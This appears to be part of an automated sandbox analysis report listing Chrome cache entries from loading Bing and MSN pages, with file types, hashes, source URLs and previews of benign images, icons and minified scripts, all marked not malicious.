Preview:	{"Scripts":[{"Path":"https://r.bing.com/rp/pF2PfMNHZl6kUOVLn4XEGHZP_z0.js","Postloaded":true},{"Path":"https://r.bing.com/rp/yfhemBfy2-1hsn-Pzs7ZcFHIdVM.js","Postloaded":true}],"Styles":[{"Path":"https://r.bing.com/rp/qz_XABEk9uinJqFMD6b6yPjYYTU.css","Postloaded":false},{"Path":"https://r.bing.com/rp/RwGC9aq3HWFHA4-nvqf37VWlckM.css","Postloaded":false},{"Path":"https://r.bing.com/rp/6wDd80TfrjsxqxnEl7ODpSWRxdY.css","Postloaded":true},{"Path":"https://r.bing.com/rp/d_DmhogwQOWjbEX-g0oLpQVcA5w.css","Postloaded":true}],"CustomFields":{"VideoYuleLog":"https://az12410.vo.msecnd.net/homepage/specialexp/holiday/2019/YuleLog/1080/Fireplace_GettyRR_98571085_1080.mp4","VideoAurora":"https://az12410.vo.msecnd.net/homepage/specialexp/holiday/2019/Aurora/1080/1920_FinlandAurora_SS_13482083.mp4","AudioYuleLogMp3":"https://az12410.vo.msecnd.net/homepage/specialexp/holiday/2019/YuleLog/audio/CozyFirepace_Getty_553682.mp3","ImageToShare":"https://az12410.vo.msecnd.net/homepage/specialexp/holiday/2020/h

Chrome Cache Entry: 759

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 186x88, components 3
Category:	downloaded
Size (bytes):	5125
Entropy (8bit):	7.920185213246574
Encrypted:	false
SSDEEP:	96:8zgEmDqVpTtrJz4BgFVHuMho/fGQDBYF10bMaJFsBd5tWgt1b:yg7Dqvf4BgbHuMGf+1isr5tb1b
MD5:	94E93256E82CF1BF7F7F3F75CB330B17
SHA1:	E2A7B8EA4B1CB157FFEEFFFC6F128A8F71DED395
SHA-256:	FD75FEADAFDFB41457754E037C26B5AC8F8A141501AC885FF9DFC8185B2A8F14
SHA-512:	A2B1B1ECC3EACA67678C2B08B8D506672C50740EFC0E221D62E0557E131EA42ED6B6BEF331EE771E2FCAD46C4AB16E6946104324C22DFD1743006A31B8287F41
Malicious:	false
Reputation:	unknown
URL:	https://www.bing.com/th?id=OPN.RTNews_m7hOW9tCEo-hY3Oick5J2g&w=186&h=88&c=7&rs=2&qlt=80&pid=PopNow
Preview:	......JFIF.....`.`.....C.....................................'!..%..."."%()+,+. /3/2'+...C..............*************************************************......X...."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..p).T.7p...X.{...y=K..l..{...Lnl...<.W...;YnI.1N.F......................4........=.H'f.T.%u...qF+...x.......v.....Q~f....^s/.^.Q......`...h....Q...\..=.4.k.\|#..z...4.....I.'.)...zz2.....A...M14..J.L".#.a........o......e\|.HK..c...A.N:{...?..j......}3g.\.Q.\|..Rn..$.<._....n#.w1i..y[.1.....l.L.....x.7......T. q..^..\|3..M.5......`?.....46q...`.8S.#.^&

Chrome Cache Entry: 760

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1274), with no line terminators
Category:	downloaded
Size (bytes):	1274
Entropy (8bit):	5.30620342636407
Encrypted:	false
SSDEEP:	24:+Fq4YTsQF61KWllWeM2lSoiLKiUfpIYdk+fzWPn8X0kdo6QBUf4JPwk:+FGF6UYXEBi9k5P8OPUY
MD5:	A969230A51DBA5AB5ADF5877BCC28CFA
SHA1:	7C4CDC6B86CA3B8A51BA585594EA1AB7B78B8265
SHA-256:	8E572950CBDA0558F7B9563CE4F5017E06BC9C262CF487E33927A948F8D78F7F
SHA-512:	F45B08818A54C5FD54712C28EB2AC3417EEA971C653049108E8809D078F6DD0560C873CEB09C8816ECD08112A007C13D850E2791F62C01D68518B3C3D0ACCCEB
Malicious:	false
Reputation:	unknown
URL:	https://r.bing.com/rp/fEzca4bKO4pRulhVlOoat7eLgmU.js
Preview:	var Identity=Identity\|\|{};(function(n,t,i,r,u,f,e){e.wlProfile=function(){var r=sj_cook.get,u="WLS",t=r(u,"N"),i=r(u,"C");return i&&e.wlImgSm&&e.wlImgLg?{displayName:t?t.replace(/\+/g," "):"",name:n(t.replace(/\+/g," ")),img:e.wlImgSm.replace(/\{0\}/g,f(i)),imgL:e.wlImgLg.replace(/\{0\}/g,f(i)),idp:"WL"}:null};e.headerLoginMode=0;e.popupAuthenticate=function(n,i,r){var o,u,h,c,v=sb_gt(),l=Math.floor(v/1e3).toString(),s="ct",a=new RegExp("([?&])"+s+"=.*?(&\|$)","i");return n.toString()==="WindowsLiveId"&&(o=e.popupLoginUrls,u=o[n],u=u.match(a)?u.replace(a,"$1"+s+"="+l+"$2"):u+"?"+s+"="+l,e.popupLoginUrls.WindowsLiveId=u),(o=e.popupLoginUrls)&&(u=o[n]+(i?"&perms="+f(i):"")+(r?"&src="+f(r):""))&&(h=e.pop(u))&&(c=setInterval(function(){h.closed&&(t.fire("id:popup:close"),clearInterval(c))},100))};e.pop=function(n){return r.open(n,"idl","location=no,menubar=no,resizable=no,scrollbars=yes,status=no,titlebar=no,toolbar=no,width=1000,height=620")};var s=u("id_h"),o=u("id_l"),h="click";t.bind("o

Chrome Cache Entry: 761

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 300x225, components 3
Category:	dropped
Size (bytes):	27291
Entropy (8bit):	7.956761061084078
Encrypted:	false
SSDEEP:	768:eHJnNWO57hcmn3jUfatBvZ5UhSC7O1XeS41BYcGW0dIQVoj:eHJp57hl86BvZIe1uSAbfrvj
MD5:	0F5F23C7B034081E21EC6C6A720F0A63
SHA1:	BD1072A994C22352C79DA8713F79A76CBA476F88
SHA-256:	E0DD09F838E753F944D380414566CB2C6282ED0355E76D647CFD0134C2CC32AB
SHA-512:	AADDBEB21D0A2624C7132155D22669AE470F106454AA229ACC6549A9A0EF546A685E7D7F8D4CB07AEF94588D8FE292B23C0F14F8A8B12A0DE25C800A49BB9CA6
Malicious:	false
Reputation:	unknown
Preview:	......JFIF.....`.`.....C....................................................................C.........................................................................,.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....!Q....l..O.....u".<.X...y.....#.^u.QNa......7h.{(-.........8........O.W......e.....}..0q....{&.z.}.;..n...v....b......O.....H.w...+.\|+.B.j...E..h....Y....!~Q...1...%.+.....?....7.U..i/.a...-c3\..mX.$.....z.=....G.......=......M.E......p:S...]..:l.:}.I.]..o.+...n...gs.Nq.v.E.....O.........Y-!.I..e..V.....s.6.<}..<.......7......8..bI$..z...Rt

Chrome Cache Entry: 762

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 186x88, components 3
Category:	downloaded
Size (bytes):	6602
Entropy (8bit):	7.94064342551898
Encrypted:	false
SSDEEP:	192:ygwBDqHxDzbqllo8AXbpYEm2PcTdHdSiyKllYBVrc:ygwBDyXbqlTybFu9yaKBu
MD5:	2EC5FDE3796806B70652B8CF1A6CD9B4
SHA1:	A994F484136E6582D4D3F5E98FC45A87C7D1FA00
SHA-256:	544A2240A7DA1E493494687EF632B25ECAF0953190F69CA85180486F6D623175
SHA-512:	51C9A44A72DF57CC270D9ECCAF7B2474B4B8ADF70B0EF4BCE0F7B984B7CEC3AEC27DC874BF2AAAF5E06CC749F50139CB0E4BF2CAB2ADB0CFAA401E69CA95A585
Malicious:	false
Reputation:	unknown
URL:	https://www.bing.com/th?id=OPN.RTNews_qfhqzK72Ua1IIcPjjPZ21Q&w=186&h=88&c=7&rs=2&qlt=80&pid=PopNow
Preview:	......JFIF.....`.`.....C.....................................'!..%..."."%()+,+. /3/2'+...C..............*************************************************......X...."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?...WCo.....kpn._-.W$.....3m.Z6..5.1..ts:.P.J....=Os.u3...we...D.a.L\YD.f.0.s6.N...Dm...q....8....M^ig..}+Kv.......O..>.@..I .S.+...Z.IM].Z.kQ..4.b..H......c....Gd"3F.....l.....}u.[Cwl.'.v..9...G.P.!...I..v..rX..Zm......5mr.V..I.X.8.,0..~...M...ue ug..bV...I..M............n\.n.....Sq..[9?.c)_C..]..M..aH....^I<Q<..hc.`.p.b_..g.K.)d..H..l!'.....I...../.(

Chrome Cache Entry: 763

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	2737
Entropy (8bit):	5.143739593947487
Encrypted:	false
SSDEEP:	48:TSEFkrgXL4vxyL9oG5e/LGlCbux1ZkCLtgQQ/TY740a3HOzw3B+THvRkqBHtoUqM:mrTeRkaAburmvlSxINwTqeW1MN
MD5:	8F824B93502AA4AA1CF9F8A77E6B7F10
SHA1:	7EE42795FD98366080A6D79A134F18CA84DDB064
SHA-256:	6CFE41748D6981393CFDB649AB1048EE0F08C1F2BAFAF7E5BECA030DD77EBC56
SHA-512:	CBB60A1DB15705AAB7BA4AC64F7AE960BD30317E301204C65A7ED0C5C7C10333120523D5E101A9874E8858FCCC7C5981AB996AB57708FDA09D578E8CFCCA77F1
Malicious:	false
Reputation:	unknown
URL:	https://assets.msn.com/weathermapdata/1/static/weather/Icons/taskbar_v10/temprise1.svg
Preview:	<svg width="72" height="72" viewBox="0 0 72 72" fill="none" xmlns="http://www.w3.org/2000/svg">.<g filter="url(#filter0_f_2673_133239)">.<path d="M35.7195 13.5491C35.7195 7.72157 30.9337 2.9989 25.0317 2.9989C19.1296 2.9989 14.3439 7.72157 14.3439 13.5491V41.2798C11.0857 44.1804 9 48.3335 9 53.0008C9 61.7448 16.1813 68.8275 25.0317 68.8275C33.8848 68.8275 41.0634 61.7448 41.0634 53.0008C41.0634 48.3335 38.9776 44.1804 35.7195 41.2798V13.5491Z" fill="url(#paint0_linear_2673_133239)" fill-opacity="0.2"/>.</g>.<path d="M36.6355 13.5766C36.6355 7.73387 31.8498 2.9989 25.9477 2.9989C20.0456 2.9989 15.2599 7.73387 15.2599 13.5766V41.3795C12.0018 44.2877 9.91602 48.4516 9.91602 53.131C9.91602 61.8977 17.0973 68.9989 25.9477 68.9989C34.8008 68.9989 41.9794 61.8977 41.9794 53.131C41.9794 48.4516 39.8936 44.2877 36.6355 41.3795V13.5766Z" fill="url(#paint1_linear_2673_133239)"/>.<rect x="21.9398" y="9.99887" width="8.01584" height="27" rx="4.00792" fill="black" fill-opacity="0.2"/>.<path fill-rul

Chrome Cache Entry: 764

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	257
Entropy (8bit):	4.781091704776374
Encrypted:	false
SSDEEP:	3:qMH4WXMHwmnIB4JmhyfAIB4Jmml0X2IUJIB4JrNOsK1A4JWW7jKYHVA4JRGYdA4S:q6XzD4jr43ldI74FNQlNj7jM9TlMlbSr
MD5:	51A9EA95D5ED461ED98AC3D23A66AA15
SHA1:	62FBB857B873BD79BEE7F16D0766A452FA2798A3
SHA-256:	A5B4181611E951FAECD6C164D704569C633E95FE68D3D1934B911A089EBF70E8
SHA-512:	CEE4231894F82627E50EC746D7C150E5303A1BF8864D7B084173B9D17663A27CC2915F5D0D4DC0602FE26D9EAA10DD98CF3422E7601F520EF34D45C9A506D6F7
Malicious:	false
Reputation:	unknown
Preview:	var BM=BM\|\|{};BM.rules={"#sc_hdu":[-1,-1,1],"#hp_id_hdr":[-1,-1,1],"#hp_container":[-1,-1,1],".hp_sw_logo":[-1,-1,0],".b_searchboxForm":[-1,-1,0],"#crs_pane":[-1,-1,0],"#sb_foot":[-1,-1,0],"#sh_rdiv":[-1,-1,0],"img,div[data-src]":[-1,-1,0],iframe:[-1,-1,0]}

Chrome Cache Entry: 765

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1274
Entropy (8bit):	4.76866515748201
Encrypted:	false
SSDEEP:	12:6v/7ZA0RnsK88Dl3r5JCyJ3/M+yEoi1iwQfk/zOkKJFwmvAGaMIDgA3e66u/:sRsKtpr5JFJPMy3n/WrwxGazDgA3H
MD5:	BC2CA4C02D8330860D34A943488A7A45
SHA1:	EEB8859DE80E94571F7E906BDFAAFA9C98E493B7
SHA-256:	5CD4E73D22042B54B0648341D22DCE5E089F6ADAAD76FE70083CD545D36CD9C4
SHA-512:	335D1C0EEDC3235770F81CF37EF36649474B9A23E4D924EDD681A6BD8674A3A89E48B77AA788ED3ABEB6881884832D9F066B76486609CDE303EE3D61F7FA6FEC
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....pHYs..........+.....?IDATx..SMK.Q.~4.......Z..B.i..@.....q.O. ...~..B..V...>tSY..@C.E0(.U!.w.x_.....9sf.y.9.....o.s.........F..Z....+.L&,..b}}.[[[.S..]..`0.`{{....L....t:\..ex<........D....p.....7.d.YT......i...".L"......d...(kkk....coo.....%xxx.^.G".@8.F..'.....<o0..@...L.........{~~..)...Uptt.@&..,J.Au.J%..,k......r.......f......u:....>??...D...YM&.:EI...f.\..h...%vvvH...H I...x\|\|....cV.....A(....lb<..v8..I...P............6+......1Q..!.......V.%.r9^..O.`IV.,..oE#.C...v..n.K.y@.j./.........\i..V.....kD.Q6M.'}..FZ....qrr...U.U..'.\|>...X,.3..\|...%D"..R)...h`..g.#.^y.2.C...%.."j.}....IEND.B`............................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 766

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 414 x 32, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	2144
Entropy (8bit):	7.603445614854898
Encrypted:	false
SSDEEP:	48:Wt2dMFbpombbd4x5k01228Qzim0XOgJbxQuvyCoQjm:Ldc1omvd4x5k0V8uH0+gZxQ8yCocm
MD5:	67E0BE8B32F82EBAA6F07A2383C25F13
SHA1:	D5B4BAE8B70AC9D6E3C3AC673546957CCB719618
SHA-256:	4CC6C20061A8027BF45B02982830F5760BC6F65D0A0DE75094BC90245C287548
SHA-512:	54C558D486C71882E11B11DE566738949E97BEF3EC12050213FEE48BE033E981C32B7C64F2057D74D232FEB778A959C52781759BF48938F4F6B4BD0E88F68ACC
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR....... .........../PLTE..............................................................................................................................fff.....................................................................................................................................................................................ctRNS.0.@..`.... ...Pp...U......}J%.._..3.........IWo..K..H..,.......mCA.\|..`......]............e.#?....}IDATx^.ws.8...&D.`......\..\z..\........#i.%.......WD.0..a.X@....3.c..vH....P.t..-.n..$..$4.%lJ>.EIM.....<..o.I..(.k\DsQaFE....Q.....66.0#..7.@..I3...R_..;......@=1......[;...r...1..I.Z(..(.0p....&Q..00.h-...t.......\|%..\".:.e0....K...`c.{o.X.... I..e..y@N.........B.6.J....&...P#.:...m...g.+.....>........<6G.`.;.$..$.6.!..__@..1.1...1G]..'.G.G..!..%<D.{...`....m.c+z......AE>.5.5..D."..(.;..1.[....,Z.<......c_.5..>...NS.\|......l8.Z..c!=l..g......a'...W#....w......W..s.\|y....&&*.. p.........K.rD.8.%p-I.[.v.Cg.G.g..

Chrome Cache Entry: 767

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (8484), with no line terminators
Category:	downloaded
Size (bytes):	8484
Entropy (8bit):	5.338819503207566
Encrypted:	false
SSDEEP:	192:VViW1/Mi54qAXOQz7dPtm+Icrd+1J4Ecs:VViW1/MRNFcMd56
MD5:	768C025CADC4CBD980733F771FEBA772
SHA1:	376949EE88FCFABCCD50A1976BD1E6AC20EB0DDC
SHA-256:	BD014843A7D652B50956A5FAAA927F66F810C8D2086B53A487FE9B45BCDCA1B1
SHA-512:	5E78D3C6B1A2324459C4A8A9694FA0A267BBBE445B97A1AD73CE32B6673EBC735613307C0563115114662237A258F8FBFDEAFF9998F12BF4795FA8AA4FC82998
Malicious:	false
Reputation:	unknown
URL:	https://r.bing.com/rp/N2lJ7oj8-rzNUKGXa9HmrCDrDdw.js
Preview:	var bepns=bepns\|\|function(n,t){function gt(){var n=this;sj_be(_w,"message",fi,!1);ni();sj_be(e,"click",y,!1);sj_evt.bind("AutoOpenFlyout",function(){w=!0;a\|\|!a&&hi()>=1200?c(r,"b_hide")?ft(n.evt,!1):v=bt:v=kt;v&&LightLogger&&LightLogger.logInstrumentationV2(null,LightLogger.InstrumentationEventType.Init,wt,!0,{SuppressionReason:v})},!0);sj_evt.bind("AutoOpenFlyoutHide",function(){i&&o(null,!0,!1)},!0);sj_evt.bind(d,ui);sj_evt.bind("onP1",ri,1);sj_evt.bind("id:refreshed",ti,1);window.addEventListener("click",function(){s(f,"b_hide")});si()&&y(null)}var st="redDotControl",ht="rh_meter_leaf_homepage",ct="rh_meter_leaf",lt="givemuid_heart_homepage",at="GiveMuid",vt="GiveSerp",yt="hub_apps_698b01b4-557a-4a3b-9af7-a7e8138e8372",pt="SUCCESS",wt="AutoOpenFlyoutSuppression",bt="BepFlyoutMissingOrNotHidden",kt="InvalidPageWidth",dt=["bing.com","bing.com:443","bing-exp.com","bing-int.com","localhost","binginternal.com"],p=700,k=320,d="onPopTR",g="bepfo",w=!1,f,u,h,r,i,e=n("id_rh"),a=typeof _H!="u

Chrome Cache Entry: 768

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 300x225, components 3
Category:	downloaded
Size (bytes):	40547
Entropy (8bit):	7.971093469581666
Encrypted:	false
SSDEEP:	768:eGJq1i7WxbKVb1Cs42X9xTlgEK3B/5sE0kr+I4PFI8mYWqky+Mp4f6vhjqd:eGJq59kbZ3X9xTlTi/51br+I4PFu7I+Z
MD5:	6EFA59D7F7E9E6F4D2E8655894BF37DA
SHA1:	584B52AB0CA4C9892169D18BD278734E321E2359
SHA-256:	0D8121B0D722BB322596A32BFFD39B04C71F77641B2DA152F87D4A1283BC7C7A
SHA-512:	EFE74B203442858DA953C9D4A0B8762B0D4C37B96AA4D036A517CB0706BB1591280D24C16CABE10B721EF359AAEB99405630AB07DEDE36DFE5BE2A1394BC92A5
Malicious:	false
Reputation:	unknown
URL:	https://th.bing.com/th?id=ORMS.04e5af2c91675199265f5706b93d7523&pid=Wdp&w=300&h=225&qlt=90&c=1&rs=1
Preview:	......JFIF.....`.`.....C....................................................................C.........................................................................,.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?...S.Z..j......Z..Ym.....D.`..T6..c .+...o....5_.x.kk.....h,..x.N$..y..T.D.+.pW>o&.<V.T.w.%.X.o,zlm.}..".(.<.B.X..b...u4z....-"...\...di]$F.8..U>Z.U...=_......g..:.O..Z}..-.W.... ...1@..nj.w..X[}VU...b{..3....2.D...7,..6:.#r.....^.t.C....his..sab.t...p.._#.*...G..5g.^#..5.C....5...j.Y$.4....0Db.BT....d..w.."..J..Hy.$./..@..vJ..Ui..ctI!....V-...o..k.....S

Chrome Cache Entry: 769

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 300x225, components 3
Category:	dropped
Size (bytes):	18944
Entropy (8bit):	7.967445633426257
Encrypted:	false
SSDEEP:	384:e1hf75wMBpX/Rp7PWwFU5YBnBC129UDQpwys7MgM+v6a7inJJ8sowc:e3z5VpXpZ/U8BCgoQwXvjUJ8nwc
MD5:	508E8220AFAA5E75C6B4AF3926697CBF
SHA1:	A4449080D17596898B59331CBB032095850FE69A
SHA-256:	5037F7AF0741E73B2FA523B741A2BC2BE187C8D9E2BD9AD0A94143D1CCCAA3CB
SHA-512:	4F5596F84A88D2637068E41BA51281445BBE0D0505E87CCF63ED5BE6A46C6A2D3A8E9C0CA358B5BD095EE4BD5A8F25210F5AC9324D4C4A1808E527545A261367
Malicious:	false
Reputation:	unknown
Preview:	......JFIF.....`.`.....C....................................................................C.........................................................................,.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?...m..i.g.}..V.xX`.*h.:b...8..C.rG.J..r?J..qNh.~T/.O.H.f........-WN...T.g..46l....0.A,H `z.H.....ViB...@..,G...L..x...4...f;....B^^.V...`...s.D...s...0ylb.I=LO...n....... A,.....cs......T....V...~..[Z.5..@.!IC.b2..:..."d9.GQ.^..!.I.k.v...c..../ .....W!.S.w....;.h...E..?..dz..N.0.....9.].{V...kz....w..m.ke.lgc.Ua.....y9.\.\|A.x[...h.B..KG2.....r/.!.>.9R.

Chrome Cache Entry: 770

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (6111), with no line terminators
Category:	downloaded
Size (bytes):	6111
Entropy (8bit):	5.4559475301936695
Encrypted:	false
SSDEEP:	96:TPNM3pWfaPzYdv/vsuZl8vweS7Advxa6NkIGvx02aZULGePYr+JuPcrMYrAA4N:ZM3pWC7YnB87S7AdJDkI602aZULGeYN
MD5:	F8C6D0A85334BD6DA4BC9B7F185F0755
SHA1:	DB600D69F470D17949F69E57468DFC429224BF28
SHA-256:	842532A1E1D67CA1EFDB72B123BFCE418DD286E2FEC749CBB1373E688378734C
SHA-512:	C0F3DB9557835C7B522818D18E9AE6C5538A5BD39959A5D97748C538913707AB63C0DB37389200AF17DDD3FF68A9259644736AA9F60520187746C3C6548986AB
Malicious:	false
Reputation:	unknown
URL:	https://r.bing.com/rp/22ANafRw0XlJ9p5XRo38QpIkvyg.js
Preview:	var SAUpsellTrigger;(function(n){function f(n){var t=new RegExp("^https://(www.\|cn.)?(bing.com\|staging-bing-int.com)");return!n\|\|!t.test(n)?!1:!0}function y(n){var t=new RegExp("^sapphirebing://");return!n\|\|!t.test(n)?!1:!0}function p(n){var t=new RegExp("^[a-zA-Z0-9]{7,8}_[a-zA-Z0-9]{7,8}$"),i=new RegExp("^[a-zA-Z0-9]{7,8}$");return!n\|\|!(t.test(n)\|\|i.test(n))?!1:!0}function e(n,t,i,r){r===void 0&&(r="default");f(n)\|\|(Log.Log("OpalUpsell_SAUpsellTriggers","InvalidFallbackLink","".concat(r,", ").concat(n)),n=l);y(t)\|\|(Log.Log("OpalUpsell_SAUpsellTriggers","InvalidDeeplink","".concat(r,", ").concat(t)),t=a);p(i)\|\|(Log.Log("OpalUpsell_SAUpsellTriggers","InvalidTracker","".concat(r,", ").concat(i)),i=v);var u="https://k5nc.adj.st/".concat(t.substring(15),"&adj_t=").concat(i,"&adjust_deep_link=").concat(encodeURIComponent(t),"&adj_redirect_ios=").concat(encodeURIComponent(n),"&adj_redirect_android=").concat(encodeURIComponent(n)),e=navigator.userAgent&&navigator.userAgent.toLocaleLowerCase(

Chrome Cache Entry: 771

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (19008)
Category:	downloaded
Size (bytes):	316988
Entropy (8bit):	5.239088634343518
Encrypted:	false
SSDEEP:	6144:vLKLj7yjWF276GNg9fpe3HdabIKSB1DkCXW8o0oMlppfbm:zgj7bSB1DkCXW8T5dbm
MD5:	8192D891E754AFD81A399F98BC6B265F
SHA1:	965E6C69F45118FEAB86EEEBBB0FC4964F2B3A98
SHA-256:	E2E4D97C20D4478E8E947480C8F6C71A2C795776D405366BE70DB82E4EA4BA77
SHA-512:	7C2712A1E34DA9062F50E7D93F4E74772044E45C265C682ABCD4E28E4004DCDAF6CE7479A4E8785986A88A32257E4FAC0ECF8CE23AFE47968C4510DF0A2C800B
Malicious:	false
Reputation:	unknown
URL:	https://r.bing.com/rp/ll5safRRGP6rhu7ruw_Elk8rOpg.js
Preview:	/! @azure/msal-browser v2.28.2 2022-09-06 /."use strict";!function(e,t){"object"==typeof exports&&"undefined"!=typeof module?t(exports):"function"==typeof define&&define.amd?define(["exports"],t):t((e="undefined"!=typeof globalThis?globalThis:e\|\|self).msal={})}(this,(function(e){./! ****************************************************************************. Copyright (c) Microsoft Corporation... Permission to use, copy, modify, and/or distribute this software for any. purpose with or without fee is hereby granted... THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH. REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY. AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT,. INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM. LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR. OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION

Chrome Cache Entry: 772

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 186x88, components 3
Category:	dropped
Size (bytes):	5146
Entropy (8bit):	7.92054723869336
Encrypted:	false
SSDEEP:	96:8zgEoMqRxjovgeSOpNWSfGV6Qmju0QJykNG3zovmsioGSynLa3EGw7b:ygrMMjoYedpNdGV6Qdl3Jv5ioj8232/
MD5:	68DF420997E2171DB09B8B51A7166C17
SHA1:	5590419B8B319719D3A96FB3D8AA9E6B356BC5D3
SHA-256:	BA22C0CDE79E23E03D86C0494AB85AB987600412A50E2B6EE629602254148938
SHA-512:	315BD18CD4EC14BCD1D29DF501A3BA3000BE22D0D55B603401F16F519C8883E830512151568CF4D2D70F79EA2E1D0D9C1C8F1213286241C77FF4542BF8B9E3A9
Malicious:	false
Reputation:	unknown
Preview:	......JFIF.....`.`.....C.....................................'!..%..."."%()+,+. /3/2'+...C..............*************************************************......X...."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..<3.j....G"D....88.U@j.+g.....x.....w....#.?.....OE.rpz.XK<..p[...e....V.....)..Ky...w.......N.j.wn........z....d.rk:.R5.7.^]L..........)..}i.x..}qV!..y.?y..X(..ts....{v..?.U...8#.zV..,..F...1.....A.=.......s.!.......%..v..\..ys.....]q...TLq...j...<.v;.......[.......F.....J..,h...bI...m?@.F..oq..q+........l/....5_.V.........T.1..6.....=[<...z......l.B

Chrome Cache Entry: 773

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1041
Entropy (8bit):	4.2484633897908495
Encrypted:	false
SSDEEP:	24:tnq3ripj6Gnhrf9MiYjaM/Wxv1qUJHGjrIO3KAFz:VEipjbZf3YjGr4N3x
MD5:	407303FF19FBE8081F2BEAC9CF1AD7B9
SHA1:	CCFDFD943C6DAD51EA5E9804F15A3E3EBC8BA642
SHA-256:	2DF3CB601B3DE31BFC06AA7626183B7BF7F3624025BDA11C766D4CF0335B89B1
SHA-512:	BB2C515E75E0334D66BFC7765CED6654A074309A38B353DD8142D4D34C9D2F43DDD3C7D4336A65F3208D7BA38353C05793BBE0AE67EEC1803532F6D744B3E04A
Malicious:	false
Reputation:	unknown
Preview:	<svg enable-background="new 0 0 40 40" viewBox="0 0 40 40" xmlns="http://www.w3.org/2000/svg"><path d="m20 0c-11.046 0-20 8.954-20 20s8.954 20 20 20 20-8.954 20-20-8.954-20-20-20zm13.082 33.082c-3.351 3.349-7.971 5.418-13.082 5.418s-9.731-2.069-13.081-5.418c-3.349-3.351-5.419-7.971-5.419-13.082s2.07-9.731 5.419-13.081c3.35-3.349 7.97-5.419 13.081-5.419s9.731 2.07 13.082 5.419c3.349 3.35 5.418 7.97 5.418 13.081s-2.069 9.731-5.418 13.082zm-13.082-13.078c2.761 0 5-2.239 5-5s-2.239-5-5-5-5 2.239-5 5 2.239 5 5 5zm0-8.5c1.933 0 3.5 1.567 3.5 3.5s-1.567 3.5-3.5 3.5-3.5-1.567-3.5-3.5 1.567-3.5 3.5-3.5zm5.754 10.496h-11.501c-1.242 0-2.249 1.007-2.249 2.249v.578c0 .893.318 1.756.898 2.435 1.566 1.834 3.952 2.739 7.098 2.739 3.145 0 5.533-.905 7.102-2.738.581-.679.901-1.544.901-2.439v-.575c0-1.243-1.007-2.249-2.249-2.249zm.749 2.824c0 .536-.192 1.056-.541 1.463-1.257 1.468-3.224 2.214-5.962 